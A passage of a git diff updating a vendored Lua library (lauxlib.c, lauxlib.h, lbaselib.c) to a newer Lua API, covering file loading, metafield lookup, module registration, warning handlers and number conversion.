parser */ - } while (*p != '\0'); - lf->n = 0; /* prefix matched; discard it */ - return getc(lf->f); /* return next character */ +/* +** Skip an optional BOM at the start of a stream. If there is an +** incomplete BOM (the first character is correct but the rest is +** not), returns the first character anyway to force an error +** (as no chunk can start with 0xEF). +*/ +static int skipBOM(FILE *f) { + int c = getc(f); /* read first character */ + if (c == 0xEF && getc(f) == 0xBB && getc(f) == 0xBF) /* correct BOM? */ + return getc(f); /* ignore BOM and return next char */ + else /* no (valid) BOM */ + return c; /* return first character */ } @@ -605,13 +759,13 @@ static int skipBOM(LoadF *lf) { ** first "valid" character of the file (after the optional BOM and ** a first-line comment). */ -static int skipcomment(LoadF *lf, int *cp) { - int c = *cp = skipBOM(lf); +static int skipcomment(FILE *f, int *cp) { + int c = *cp = skipBOM(f); if (c == '#') { /* first line is a comment (Unix exec. file)? */ do { /* skip first line */ - c = getc(lf->f); - } while (c != EOF && c != '\n') ; - *cp = getc(lf->f); /* skip end-of-line, if present */ + c = getc(f); + } while (c != EOF && c != '\n'); + *cp = getc(f); /* next character after comment, if present */ return 1; /* there was a comment */ } else return 0; /* no comment */ } @@ -628,23 +782,30 @@ LUALIB_API int luaL_loadfilex(lua_State *L, const char *filename, lf.f = stdin; } else { lua_pushfstring(L, "@%s", filename); + errno = 0; lf.f = fopen(filename, "r"); if (lf.f == NULL) return errfile(L, "open", fnameindex); } - if (skipcomment(&lf, &c)) /* read initial portion */ - lf.buff[lf.n++] = '\n'; /* add line to correct line numbers */ - if (c == LUA_SIGNATURE[0] && filename) { /* binary file? */ - lf.f = freopen(filename, "rb", lf.f); /* reopen in binary mode */ - if (lf.f == NULL) return errfile(L, "reopen", fnameindex); - skipcomment(&lf, &c); /* re-read initial portion */ + lf.n = 0; + if (skipcomment(lf.f, &c)) /* read initial portion */ + lf.buff[lf.n++] = '\n'; /* add newline to correct line numbers */ + if (c == LUA_SIGNATURE[0]) { /* binary file? */ + lf.n = 0; /* remove possible newline */ + if (filename) { /* "real" file? */ + errno = 0; + lf.f = freopen(filename, "rb", lf.f); /* reopen in binary mode */ + if (lf.f == NULL) return errfile(L, "reopen", fnameindex); + skipcomment(lf.f, &c); /* re-read initial portion */ + } } if (c != EOF) lf.buff[lf.n++] = c; /* 'c' is the first character of the stream */ + errno = 0; status = lua_load(L, getF, &lf, lua_tostring(L, -1), mode); readstatus = ferror(lf.f); if (filename) fclose(lf.f); /* close file (even in case of errors) */ if (readstatus) { - lua_settop(L, fnameindex); /* ignore results from `lua_load' */ + lua_settop(L, fnameindex); /* ignore results from 'lua_load' */ return errfile(L, "read", fnameindex); } lua_remove(L, fnameindex); @@ -687,22 +848,23 @@ LUALIB_API int luaL_loadstring(lua_State *L, const char *s) { LUALIB_API int luaL_getmetafield(lua_State *L, int obj, const char *event) { if (!lua_getmetatable(L, obj)) /* no metatable? */ - return 0; - lua_pushstring(L, event); - lua_rawget(L, -2); - if (lua_isnil(L, -1)) { - lua_pop(L, 2); /* remove metatable and metafield */ - return 0; - } else { - lua_remove(L, -2); /* remove only metatable */ - return 1; + return LUA_TNIL; + else { + int tt; + lua_pushstring(L, event); + tt = lua_rawget(L, -2); + if (tt == LUA_TNIL) /* is metafield nil? */ + lua_pop(L, 2); /* remove metatable and metafield */ + else + lua_remove(L, -2); /* remove only metatable */ + return tt; /* return metafield type */ } } LUALIB_API int luaL_callmeta(lua_State *L, int obj, const char *event) { obj = lua_absindex(L, obj); - if (!luaL_getmetafield(L, obj, event)) /* no metafield? */ + if (luaL_getmetafield(L, obj, event) == LUA_TNIL) /* no metafield? */ return 0; lua_pushvalue(L, obj); lua_call(L, 1, 1); @@ -710,22 +872,32 @@ LUALIB_API int luaL_callmeta(lua_State *L, int obj, const char *event) { } -LUALIB_API int luaL_len(lua_State *L, int idx) { - int l; +LUALIB_API lua_Integer luaL_len(lua_State *L, int idx) { + lua_Integer l; int isnum; lua_len(L, idx); - l = (int)lua_tointegerx(L, -1, &isnum); - if (!isnum) - luaL_error(L, "object length is not a number"); + l = lua_tointegerx(L, -1, &isnum); + if (l_unlikely(!isnum)) + luaL_error(L, "object length is not an integer"); lua_pop(L, 1); /* remove object */ return l; } LUALIB_API const char *luaL_tolstring(lua_State *L, int idx, size_t *len) { - if (!luaL_callmeta(L, idx, "__tostring")) { /* no metafield? */ + idx = lua_absindex(L, idx); + if (luaL_callmeta(L, idx, "__tostring")) { /* metafield? */ + if (!lua_isstring(L, -1)) + luaL_error(L, "'__tostring' must return a string"); + } else { switch (lua_type(L, idx)) { - case LUA_TNUMBER: + case LUA_TNUMBER: { + if (lua_isinteger(L, idx)) + lua_pushfstring(L, "%I", (LUAI_UACINT)lua_tointeger(L, idx)); + else + lua_pushfstring(L, "%f", (LUAI_UACNUMBER)lua_tonumber(L, idx)); + break; + } case LUA_TSTRING: lua_pushvalue(L, idx); break; @@ -735,111 +907,37 @@ LUALIB_API const char *luaL_tolstring(lua_State *L, int idx, size_t *len) { case LUA_TNIL: lua_pushliteral(L, "nil"); break; - default: - lua_pushfstring(L, "%s: %p", luaL_typename(L, idx), - lua_topointer(L, idx)); + default: { + int tt = luaL_getmetafield(L, idx, "__name"); /* try name */ + const char *kind = (tt == LUA_TSTRING) ? lua_tostring(L, -1) : + luaL_typename(L, idx); + lua_pushfstring(L, "%s: %p", kind, lua_topointer(L, idx)); + if (tt != LUA_TNIL) + lua_remove(L, -2); /* remove '__name' */ break; + } } } return lua_tolstring(L, -1, len); } -/* -** {====================================================== -** Compatibility with 5.1 module functions -** ======================================================= -*/ -#if defined(LUA_COMPAT_MODULE) - -static const char *luaL_findtable(lua_State *L, int idx, - const char *fname, int szhint) { - const char *e; - if (idx) lua_pushvalue(L, idx); - do { - e = strchr(fname, '.'); - if (e == NULL) e = fname + strlen(fname); - lua_pushlstring(L, fname, e - fname); - lua_rawget(L, -2); - if (lua_isnil(L, -1)) { /* no such field? */ - lua_pop(L, 1); /* remove this nil */ - lua_createtable(L, 0, (*e == '.' ? 1 : szhint)); /* new table for field */ - lua_pushlstring(L, fname, e - fname); - lua_pushvalue(L, -2); - lua_settable(L, -4); /* set new table into field */ - } else if (!lua_istable(L, -1)) { /* field has a non-table value? */ - lua_pop(L, 2); /* remove table and value */ - return fname; /* return problematic part of the name */ - } - lua_remove(L, -2); /* remove previous table */ - fname = e + 1; - } while (*e == '.'); - return NULL; -} - - -/* -** Count number of elements in a luaL_Reg list. -*/ -static int libsize(const luaL_Reg *l) { - int size = 0; - for (; l && l->name; l++) size++; - return size; -} - - -/* -** Find or create a module table with a given name. The function -** first looks at the _LOADED table and, if that fails, try a -** global variable with that name. In any case, leaves on the stack -** the module table. -*/ -LUALIB_API void luaL_pushmodule(lua_State *L, const char *modname, - int sizehint) { - luaL_findtable(L, LUA_REGISTRYINDEX, "_LOADED", 1); /* get _LOADED table */ - lua_getfield(L, -1, modname); /* get _LOADED[modname] */ - if (!lua_istable(L, -1)) { /* not found? */ - lua_pop(L, 1); /* remove previous result */ - /* try global variable (and create one if it does not exist) */ - lua_pushglobaltable(L); - if (luaL_findtable(L, 0, modname, sizehint) != NULL) - luaL_error(L, "name conflict for module " LUA_QS, modname); - lua_pushvalue(L, -1); - lua_setfield(L, -3, modname); /* _LOADED[modname] = new table */ - } - lua_remove(L, -2); /* remove _LOADED table */ -} - - -LUALIB_API void luaL_openlib(lua_State *L, const char *libname, - const luaL_Reg *l, int nup) { - luaL_checkversion(L); - if (libname) { - luaL_pushmodule(L, libname, libsize(l)); /* get/create library table */ - lua_insert(L, -(nup + 1)); /* move library table to below upvalues */ - } - if (l) - luaL_setfuncs(L, l, nup); - else - lua_pop(L, nup); /* remove upvalues */ -} - -#endif -/* }====================================================== */ - /* ** set functions from list 'l' into table at top - 'nup'; each ** function gets the 'nup' elements at the top as upvalues. ** Returns with only the table at the stack. */ LUALIB_API void luaL_setfuncs(lua_State *L, const luaL_Reg *l, int nup) { - luaL_checkversion(L); luaL_checkstack(L, nup, "too many upvalues"); for (; l->name != NULL; l++) { /* fill the table with given functions */ - int i; - for (i = 0; i < nup; i++) /* copy upvalues to the top */ - lua_pushvalue(L, -nup); - lua_pushcclosure(L, l->func, nup); /* closure with those upvalues */ + if (l->func == NULL) /* placeholder? */ + lua_pushboolean(L, 0); + else { + int i; + for (i = 0; i < nup; i++) /* copy upvalues to the top */ + lua_pushvalue(L, -nup); + lua_pushcclosure(L, l->func, nup); /* closure with those upvalues */ + } lua_setfield(L, -(nup + 2), l->name); } lua_pop(L, nup); /* remove upvalues */ @@ -851,8 +949,8 @@ LUALIB_API void luaL_setfuncs(lua_State *L, const luaL_Reg *l, int nup) { ** into the stack */ LUALIB_API int luaL_getsubtable(lua_State *L, int idx, const char *fname) { - lua_getfield(L, idx, fname); - if (lua_istable(L, -1)) return 1; /* table already there */ + if (lua_getfield(L, idx, fname) == LUA_TTABLE) + return 1; /* table already there */ else { lua_pop(L, 1); /* remove previous result */ idx = lua_absindex(L, idx); @@ -865,39 +963,49 @@ LUALIB_API int luaL_getsubtable(lua_State *L, int idx, const char *fname) { /* -** stripped-down 'require'. Calls 'openf' to open a module, -** registers the result in 'package.loaded' table and, if 'glb' -** is true, also registers the result in the global table. +** Stripped-down 'require': After checking "loaded" table, calls 'openf' +** to open a module, registers the result in 'package.loaded' table and, +** if 'glb' is true, also registers the result in the global table. ** Leaves resulting module on the top. */ LUALIB_API void luaL_requiref(lua_State *L, const char *modname, lua_CFunction openf, int glb) { - lua_pushcfunction(L, openf); - lua_pushstring(L, modname); /* argument to open function */ - lua_call(L, 1, 1); /* open module */ - luaL_getsubtable(L, LUA_REGISTRYINDEX, "_LOADED"); - lua_pushvalue(L, -2); /* make copy of module (call result) */ - lua_setfield(L, -2, modname); /* _LOADED[modname] = module */ - lua_pop(L, 1); /* remove _LOADED table */ + luaL_getsubtable(L, LUA_REGISTRYINDEX, LUA_LOADED_TABLE); + lua_getfield(L, -1, modname); /* LOADED[modname] */ + if (!lua_toboolean(L, -1)) { /* package not already loaded? */ + lua_pop(L, 1); /* remove field */ + lua_pushcfunction(L, openf); + lua_pushstring(L, modname); /* argument to open function */ + lua_call(L, 1, 1); /* call 'openf' to open module */ + lua_pushvalue(L, -1); /* make copy of module (call result) */ + lua_setfield(L, -3, modname); /* LOADED[modname] = module */ + } + lua_remove(L, -2); /* remove LOADED table */ if (glb) { - lua_pushvalue(L, -1); /* copy of 'mod' */ + lua_pushvalue(L, -1); /* copy of module */ lua_setglobal(L, modname); /* _G[modname] = module */ } } -LUALIB_API const char *luaL_gsub(lua_State *L, const char *s, const char *p, - const char *r) { +LUALIB_API void luaL_addgsub(luaL_Buffer *b, const char *s, + const char *p, const char *r) { const char *wild; size_t l = strlen(p); + while ((wild = strstr(s, p)) != NULL) { + luaL_addlstring(b, s, wild - s); /* push prefix */ + luaL_addstring(b, r); /* push replacement in place of pattern */ + s = wild + l; /* continue after 'p' */ + } + luaL_addstring(b, s); /* push last suffix */ +} + + +LUALIB_API const char *luaL_gsub(lua_State *L, const char *s, + const char *p, const char *r) { luaL_Buffer b; luaL_buffinit(L, &b); - while ((wild = strstr(s, p)) != NULL) { - luaL_addlstring(&b, s, wild - s); /* push prefix */ - luaL_addstring(&b, r); /* push replacement in place of pattern */ - s = wild + l; /* continue after `p' */ - } - luaL_addstring(&b, s); /* push last suffix */ + luaL_addgsub(&b, s, p, r); luaL_pushresult(&b); return lua_tostring(L, -1); } @@ -914,33 +1022,93 @@ static void *l_alloc(void *ud, void *ptr, size_t osize, size_t nsize) { } +/* +** Standard panic funcion just prints an error message. The test +** with 'lua_type' avoids possible memory errors in 'lua_tostring'. +*/ static int panic(lua_State *L) { - luai_writestringerror("PANIC: unprotected error in call to Lua API (%s)\n", - lua_tostring(L, -1)); + const char *msg = (lua_type(L, -1) == LUA_TSTRING) + ? lua_tostring(L, -1) + : "error object is not a string"; + lua_writestringerror("PANIC: unprotected error in call to Lua API (%s)\n", + msg); return 0; /* return to Lua to abort */ } +/* +** Warning functions: +** warnfoff: warning system is off +** warnfon: ready to start a new message +** warnfcont: previous message is to be continued +*/ +static void warnfoff(void *ud, const char *message, int tocont); +static void warnfon(void *ud, const char *message, int tocont); +static void warnfcont(void *ud, const char *message, int tocont); + + +/* +** Check whether message is a control message. If so, execute the +** control or ignore it if unknown. +*/ +static int checkcontrol(lua_State *L, const char *message, int tocont) { + if (tocont || *(message++) != '@') /* not a control message? */ + return 0; + else { + if (strcmp(message, "off") == 0) + lua_setwarnf(L, warnfoff, L); /* turn warnings off */ + else if (strcmp(message, "on") == 0) + lua_setwarnf(L, warnfon, L); /* turn warnings on */ + return 1; /* it was a control message */ + } +} + + +static void warnfoff(void *ud, const char *message, int tocont) { + checkcontrol((lua_State *)ud, message, tocont); +} + + +/* +** Writes the message and handle 'tocont', finishing the message +** if needed and setting the next warn function. +*/ +static void warnfcont(void *ud, const char *message, int tocont) { + lua_State *L = (lua_State *)ud; + lua_writestringerror("%s", message); /* write message */ + if (tocont) /* not the last part? */ + lua_setwarnf(L, warnfcont, L); /* to be continued */ + else { /* last part */ + lua_writestringerror("%s", "\n"); /* finish message with end-of-line */ + lua_setwarnf(L, warnfon, L); /* next call is a new message */ + } +} + + +static void warnfon(void *ud, const char *message, int tocont) { + if (checkcontrol((lua_State *)ud, message, tocont)) /* control message? */ + return; /* nothing else to be done */ + lua_writestringerror("%s", "Lua warning: "); /* start a new warning */ + warnfcont(ud, message, tocont); /* finish processing */ +} + + LUALIB_API lua_State *luaL_newstate(void) { lua_State *L = lua_newstate(l_alloc, NULL); - if (L) lua_atpanic(L, &panic); + if (l_likely(L)) { + lua_atpanic(L, &panic); + lua_setwarnf(L, warnfoff, L); /* default is warnings off */ + } return L; } -LUALIB_API void luaL_checkversion_(lua_State *L, lua_Number ver) { - const lua_Number *v = lua_version(L); - if (v != lua_version(NULL)) - luaL_error(L, "multiple Lua VMs detected"); - else if (*v != ver) +LUALIB_API void luaL_checkversion_(lua_State *L, lua_Number ver, size_t sz) { + lua_Number v = lua_version(L); + if (sz != LUAL_NUMSIZES) /* check numeric types */ + luaL_error(L, "core and library have incompatible numeric types"); + else if (v != ver) luaL_error(L, "version mismatch: app. needs %f, Lua core provides %f", - ver, *v); - /* check conversions number -> integer types */ - lua_pushnumber(L, -(lua_Number)0x1234); - if (lua_tointeger(L, -1) != -0x1234 || - lua_tounsigned(L, -1) != (lua_Unsigned) - 0x1234) - luaL_error(L, "bad conversion number->int;" - " must recompile Lua with proper settings"); - lua_pop(L, 1); + (LUAI_UACNUMBER)ver, (LUAI_UACNUMBER)v); } diff --git a/client/deps/liblua/lauxlib.h b/client/deps/liblua/lauxlib.h index 76326a350..ca3022d33 100644 --- a/client/deps/liblua/lauxlib.h +++ b/client/deps/liblua/lauxlib.h @@ -1,5 +1,5 @@ /* -** $Id: lauxlib.h,v 1.120 2011/11/29 15:55:08 roberto Exp $ +** $Id: lauxlib.h $ ** Auxiliary functions for building Lua libraries ** See Copyright Notice in lua.h */ @@ -12,44 +12,60 @@ #include #include +#include "luaconf.h" #include "lua.h" +/* global table */ +#define LUA_GNAME "_G" -/* extra error code for `luaL_load' */ + +typedef struct luaL_Buffer luaL_Buffer; + + +/* extra error code for 'luaL_loadfilex' */ #define LUA_ERRFILE (LUA_ERRERR+1) +/* key, in the registry, for table of loaded modules */ +#define LUA_LOADED_TABLE "_LOADED" + + +/* key, in the registry, for table of preloaded loaders */ +#define LUA_PRELOAD_TABLE "_PRELOAD" + + typedef struct luaL_Reg { const char *name; lua_CFunction func; } luaL_Reg; -LUALIB_API void (luaL_checkversion_)(lua_State *L, lua_Number ver); -#define luaL_checkversion(L) luaL_checkversion_(L, LUA_VERSION_NUM) +#define LUAL_NUMSIZES (sizeof(lua_Integer)*16 + sizeof(lua_Number)) + +LUALIB_API void (luaL_checkversion_)(lua_State *L, lua_Number ver, size_t sz); +#define luaL_checkversion(L) \ + luaL_checkversion_(L, LUA_VERSION_NUM, LUAL_NUMSIZES) LUALIB_API int (luaL_getmetafield)(lua_State *L, int obj, const char *e); LUALIB_API int (luaL_callmeta)(lua_State *L, int obj, const char *e); LUALIB_API const char *(luaL_tolstring)(lua_State *L, int idx, size_t *len); -LUALIB_API int (luaL_argerror)(lua_State *L, int numarg, const char *extramsg); -LUALIB_API const char *(luaL_checklstring)(lua_State *L, int numArg, +LUALIB_API int (luaL_argerror)(lua_State *L, int arg, const char *extramsg); +LUALIB_API int (luaL_typeerror)(lua_State *L, int arg, const char *tname); +LUALIB_API const char *(luaL_checklstring)(lua_State *L, int arg, size_t *l); -LUALIB_API const char *(luaL_optlstring)(lua_State *L, int numArg, +LUALIB_API const char *(luaL_optlstring)(lua_State *L, int arg, const char *def, size_t *l); -LUALIB_API lua_Number(luaL_checknumber)(lua_State *L, int numArg); -LUALIB_API lua_Number(luaL_optnumber)(lua_State *L, int nArg, lua_Number def); +LUALIB_API lua_Number(luaL_checknumber)(lua_State *L, int arg); +LUALIB_API lua_Number(luaL_optnumber)(lua_State *L, int arg, lua_Number def); -LUALIB_API lua_Integer(luaL_checkinteger)(lua_State *L, int numArg); -LUALIB_API lua_Integer(luaL_optinteger)(lua_State *L, int nArg, +LUALIB_API lua_Integer(luaL_checkinteger)(lua_State *L, int arg); +LUALIB_API lua_Integer(luaL_optinteger)(lua_State *L, int arg, lua_Integer def); -LUALIB_API lua_Unsigned(luaL_checkunsigned)(lua_State *L, int numArg); -LUALIB_API lua_Unsigned(luaL_optunsigned)(lua_State *L, int numArg, - lua_Unsigned def); LUALIB_API void (luaL_checkstack)(lua_State *L, int sz, const char *msg); -LUALIB_API void (luaL_checktype)(lua_State *L, int narg, int t); -LUALIB_API void (luaL_checkany)(lua_State *L, int narg); +LUALIB_API void (luaL_checktype)(lua_State *L, int arg, int t); +LUALIB_API void (luaL_checkany)(lua_State *L, int arg); LUALIB_API int (luaL_newmetatable)(lua_State *L, const char *tname); LUALIB_API void (luaL_setmetatable)(lua_State *L, const char *tname); @@ -59,13 +75,14 @@ LUALIB_API void *(luaL_checkudata)(lua_State *L, int ud, const char *tname); LUALIB_API void (luaL_where)(lua_State *L, int lvl); LUALIB_API int (luaL_error)(lua_State *L, const char *fmt, ...); -LUALIB_API int (luaL_checkoption)(lua_State *L, int narg, const char *def, +LUALIB_API int (luaL_checkoption)(lua_State *L, int arg, const char *def, const char *const lst[]); LUALIB_API int (luaL_fileresult)(lua_State *L, int stat, const char *fname); LUALIB_API int (luaL_execresult)(lua_State *L, int stat); -/* pre-defined references */ + +/* predefined references */ #define LUA_NOREF (-2) #define LUA_REFNIL (-1) @@ -75,7 +92,7 @@ LUALIB_API void (luaL_unref)(lua_State *L, int t, int ref); LUALIB_API int (luaL_loadfilex)(lua_State *L, const char *filename, const char *mode); -#define luaL_loadfile(L,f) luaL_loadfilex(L,f,NULL) +#define luaL_loadfile(L,f) luaL_loadfilex(L,f,NULL) LUALIB_API int (luaL_loadbufferx)(lua_State *L, const char *buff, size_t sz, const char *name, const char *mode); @@ -83,10 +100,12 @@ LUALIB_API int (luaL_loadstring)(lua_State *L, const char *s); LUALIB_API lua_State *(luaL_newstate)(void); -LUALIB_API int (luaL_len)(lua_State *L, int idx); +LUALIB_API lua_Integer(luaL_len)(lua_State *L, int idx); -LUALIB_API const char *(luaL_gsub)(lua_State *L, const char *s, const char *p, - const char *r); +LUALIB_API void (luaL_addgsub)(luaL_Buffer *b, const char *s, + const char *p, const char *r); +LUALIB_API const char *(luaL_gsub)(lua_State *L, const char *s, + const char *p, const char *r); LUALIB_API void (luaL_setfuncs)(lua_State *L, const luaL_Reg *l, int nup); @@ -105,33 +124,62 @@ LUALIB_API void (luaL_requiref)(lua_State *L, const char *modname, */ -#define luaL_newlibtable(L,l) \ - lua_createtable(L, 0, sizeof(l)/sizeof((l)[0]) - 1) +#define luaL_newlibtable(L,l) \ + lua_createtable(L, 0, sizeof(l)/sizeof((l)[0]) - 1) -#define luaL_newlib(L,l) (luaL_newlibtable(L,l), luaL_setfuncs(L,l,0)) +#define luaL_newlib(L,l) \ + (luaL_checkversion(L), luaL_newlibtable(L,l), luaL_setfuncs(L,l,0)) -#define luaL_argcheck(L, cond,numarg,extramsg) \ - ((void)((cond) || luaL_argerror(L, (numarg), (extramsg)))) -#define luaL_checkstring(L,n) (luaL_checklstring(L, (n), NULL)) -#define luaL_optstring(L,n,d) (luaL_optlstring(L, (n), (d), NULL)) -#define luaL_checkint(L,n) ((int)luaL_checkinteger(L, (n))) -#define luaL_optint(L,n,d) ((int)luaL_optinteger(L, (n), (d))) -#define luaL_checklong(L,n) ((long)luaL_checkinteger(L, (n))) -#define luaL_optlong(L,n,d) ((long)luaL_optinteger(L, (n), (d))) +#define luaL_argcheck(L, cond,arg,extramsg) \ + ((void)(luai_likely(cond) || luaL_argerror(L, (arg), (extramsg)))) -#define luaL_typename(L,i) lua_typename(L, lua_type(L,(i))) +#define luaL_argexpected(L,cond,arg,tname) \ + ((void)(luai_likely(cond) || luaL_typeerror(L, (arg), (tname)))) + +#define luaL_checkstring(L,n) (luaL_checklstring(L, (n), NULL)) +#define luaL_optstring(L,n,d) (luaL_optlstring(L, (n), (d), NULL)) + +#define luaL_typename(L,i) lua_typename(L, lua_type(L,(i))) #define luaL_dofile(L, fn) \ - (luaL_loadfile(L, fn) || lua_pcall(L, 0, LUA_MULTRET, 0)) + (luaL_loadfile(L, fn) || lua_pcall(L, 0, LUA_MULTRET, 0)) #define luaL_dostring(L, s) \ - (luaL_loadstring(L, s) || lua_pcall(L, 0, LUA_MULTRET, 0)) + (luaL_loadstring(L, s) || lua_pcall(L, 0, LUA_MULTRET, 0)) -#define luaL_getmetatable(L,n) (lua_getfield(L, LUA_REGISTRYINDEX, (n))) +#define luaL_getmetatable(L,n) (lua_getfield(L, LUA_REGISTRYINDEX, (n))) -#define luaL_opt(L,f,n,d) (lua_isnoneornil(L,(n)) ? (d) : f(L,(n))) +#define luaL_opt(L,f,n,d) (lua_isnoneornil(L,(n)) ? (d) : f(L,(n))) + +#define luaL_loadbuffer(L,s,sz,n) luaL_loadbufferx(L,s,sz,n,NULL) + + +/* +** Perform arithmetic operations on lua_Integer values with wrap-around +** semantics, as the Lua core does. +*/ +#define luaL_intop(op,v1,v2) \ + ((lua_Integer)((lua_Unsigned)(v1) op (lua_Unsigned)(v2))) + + +/* push the value used to represent failure/error */ +#define luaL_pushfail(L) lua_pushnil(L) + + +/* +** Internal assertions for in-house debugging +*/ +#if !defined(lua_assert) + +#if defined LUAI_ASSERT +#include +#define lua_assert(c) assert(c) +#else +#define lua_assert(c) ((void)0) +#endif + +#endif -#define luaL_loadbuffer(L,s,sz,n) luaL_loadbufferx(L,s,sz,n,NULL) /* @@ -140,20 +188,29 @@ LUALIB_API void (luaL_requiref)(lua_State *L, const char *modname, ** ======================================================= */ -typedef struct luaL_Buffer { +struct luaL_Buffer { char *b; /* buffer address */ size_t size; /* buffer size */ size_t n; /* number of characters in buffer */ lua_State *L; - char initb[LUAL_BUFFERSIZE]; /* initial buffer */ -} luaL_Buffer; + union { + LUAI_MAXALIGN; /* ensure maximum alignment for buffer */ + char b[LUAL_BUFFERSIZE]; /* initial buffer */ + } init; +}; + + +#define luaL_bufflen(bf) ((bf)->n) +#define luaL_buffaddr(bf) ((bf)->b) #define luaL_addchar(B,c) \ - ((void)((B)->n < (B)->size || luaL_prepbuffsize((B), 1)), \ - ((B)->b[(B)->n++] = (c))) + ((void)((B)->n < (B)->size || luaL_prepbuffsize((B), 1)), \ + ((B)->b[(B)->n++] = (c))) -#define luaL_addsize(B,s) ((B)->n += (s)) +#define luaL_addsize(B,s) ((B)->n += (s)) + +#define luaL_buffsub(B,s) ((B)->n -= (s)) LUALIB_API void (luaL_buffinit)(lua_State *L, luaL_Buffer *B); LUALIB_API char *(luaL_prepbuffsize)(luaL_Buffer *B, size_t sz); @@ -164,7 +221,7 @@ LUALIB_API void (luaL_pushresult)(luaL_Buffer *B); LUALIB_API void (luaL_pushresultsize)(luaL_Buffer *B, size_t sz); LUALIB_API char *(luaL_buffinitsize)(lua_State *L, luaL_Buffer *B, size_t sz); -#define luaL_prepbuffer(B) luaL_prepbuffsize(B, LUAL_BUFFERSIZE) +#define luaL_prepbuffer(B) luaL_prepbuffsize(B, LUAL_BUFFERSIZE) /* }====================================================== */ @@ -192,19 +249,51 @@ typedef struct luaL_Stream { /* }====================================================== */ +/* +** {================================================================== +** "Abstraction Layer" for basic report of messages and errors +** =================================================================== +*/ + +/* print a string */ +#if !defined(lua_writestring) +#define lua_writestring(s,l) fwrite((s), sizeof(char), (l), stdout) +#endif + +/* print a newline and flush the output */ +#if !defined(lua_writeline) +#define lua_writeline() (lua_writestring("\n", 1), fflush(stdout)) +#endif + +/* print an error message */ +#if !defined(lua_writestringerror) +#define lua_writestringerror(s,p) \ + (fprintf(stderr, (s), (p)), fflush(stderr)) +#endif + +/* }================================================================== */ -/* compatibility with old module system */ -#if defined(LUA_COMPAT_MODULE) +/* +** {============================================================ +** Compatibility with deprecated conversions +** ============================================================= +*/ +#if defined(LUA_COMPAT_APIINTCASTS) -LUALIB_API void (luaL_pushmodule)(lua_State *L, const char *modname, - int sizehint); -LUALIB_API void (luaL_openlib)(lua_State *L, const char *libname, - const luaL_Reg *l, int nup); +#define luaL_checkunsigned(L,a) ((lua_Unsigned)luaL_checkinteger(L,a)) +#define luaL_optunsigned(L,a,d) \ + ((lua_Unsigned)luaL_optinteger(L,a,(lua_Integer)(d))) -#define luaL_register(L,n,l) (luaL_openlib(L,(n),(l),0)) +#define luaL_checkint(L,n) ((int)luaL_checkinteger(L, (n))) +#define luaL_optint(L,n,d) ((int)luaL_optinteger(L, (n), (d))) + +#define luaL_checklong(L,n) ((long)luaL_checkinteger(L, (n))) +#define luaL_optlong(L,n,d) ((long)luaL_optinteger(L, (n), (d))) #endif +/* }============================================================ */ + #endif diff --git a/client/deps/liblua/lbaselib.c b/client/deps/liblua/lbaselib.c index bf3905c24..d83adea08 100644 --- a/client/deps/liblua/lbaselib.c +++ b/client/deps/liblua/lbaselib.c @@ -1,9 +1,13 @@ /* -** $Id: lbaselib.c,v 1.276 2013/02/21 13:44:53 roberto Exp $ +** $Id: lbaselib.c $ ** Basic library ** See Copyright Notice in lua.h */ +#define lbaselib_c +#define LUA_LIB + +#include "lprefix.h" #include @@ -11,9 +15,6 @@ #include #include -#define lbaselib_c -#define LUA_LIB - #include "lua.h" #include "lauxlib.h" @@ -23,73 +24,96 @@ static int luaB_print(lua_State *L) { int n = lua_gettop(L); /* number of arguments */ int i; - lua_getglobal(L, "tostring"); - for (i = 1; i <= n; i++) { - const char *s; + for (i = 1; i <= n; i++) { /* for each argument */ size_t l; - lua_pushvalue(L, -1); /* function to be called */ - lua_pushvalue(L, i); /* value to print */ - lua_call(L, 1, 1); - s = lua_tolstring(L, -1, &l); /* get result */ - if (s == NULL) - return luaL_error(L, - LUA_QL("tostring") " must return a string to " LUA_QL("print")); - if (i > 1) luai_writestring("\t", 1); - luai_writestring(s, l); + const char *s = luaL_tolstring(L, i, &l); /* convert it to string */ + if (i > 1) /* not the first element? */ + lua_writestring("\t", 1); /* add a tab before it */ + lua_writestring(s, l); /* print it */ lua_pop(L, 1); /* pop result */ } - luai_writeline(); + lua_writeline(); return 0; } -#define SPACECHARS " \f\n\r\t\v" +/* +** Creates a warning with all given arguments. +** Check first for errors; otherwise an error may interrupt +** the composition of a warning, leaving it unfinished. +*/ +static int luaB_warn(lua_State *L) { + int n = lua_gettop(L); /* number of arguments */ + int i; + luaL_checkstring(L, 1); /* at least one argument */ + for (i = 2; i <= n; i++) + luaL_checkstring(L, i); /* make sure all arguments are strings */ + for (i = 1; i < n; i++) /* compose warning */ + lua_warning(L, lua_tostring(L, i), 1); + lua_warning(L, lua_tostring(L, n), 0); /* close warning */ + return 0; +} + + +#define SPACECHARS " \f\n\r\t\v" + +static const char *b_str2int(const char *s, int base, lua_Integer *pn) { + lua_Unsigned n = 0; + int neg = 0; + s += strspn(s, SPACECHARS); /* skip initial spaces */ + if (*s == '-') { s++; neg = 1; } /* handle sign */ + else if (*s == '+') s++; + if (!isalnum((unsigned char)*s)) /* no digit? */ + return NULL; + do { + int digit = (isdigit((unsigned char) * s)) ? *s - '0' + : (toupper((unsigned char) * s) - 'A') + 10; + if (digit >= base) return NULL; /* invalid numeral */ + n = n * base + digit; + s++; + } while (isalnum((unsigned char)*s)); + s += strspn(s, SPACECHARS); /* skip trailing spaces */ + *pn = (lua_Integer)((neg) ? (0u - n) : n); + return s; +} + static int luaB_tonumber(lua_State *L) { - if (lua_isnoneornil(L, 2)) { /* standard conversion */ - int isnum; - lua_Number n = lua_tonumberx(L, 1, &isnum); - if (isnum) { - lua_pushnumber(L, n); + if (lua_isnoneornil(L, 2)) { /* standard conversion? */ + if (lua_type(L, 1) == LUA_TNUMBER) { /* already a number? */ + lua_settop(L, 1); /* yes; return it */ return 1; - } /* else not a number; must be something */ - luaL_checkany(L, 1); + } else { + size_t l; + const char *s = lua_tolstring(L, 1, &l); + if (s != NULL && lua_stringtonumber(L, s) == l + 1) + return 1; /* successful conversion to number */ + /* else not a number */ + luaL_checkany(L, 1); /* (but there must be some parameter) */ + } } else { size_t l; - const char *s = luaL_checklstring(L, 1, &l); - const char *e = s + l; /* end point for 's' */ - int base = luaL_checkint(L, 2); - int neg = 0; + const char *s; + lua_Integer n = 0; /* to avoid warnings */ + lua_Integer base = luaL_checkinteger(L, 2); + luaL_checktype(L, 1, LUA_TSTRING); /* no numbers as strings */ + s = lua_tolstring(L, 1, &l); luaL_argcheck(L, 2 <= base && base <= 36, 2, "base out of range"); - s += strspn(s, SPACECHARS); /* skip initial spaces */ - if (*s == '-') { s++; neg = 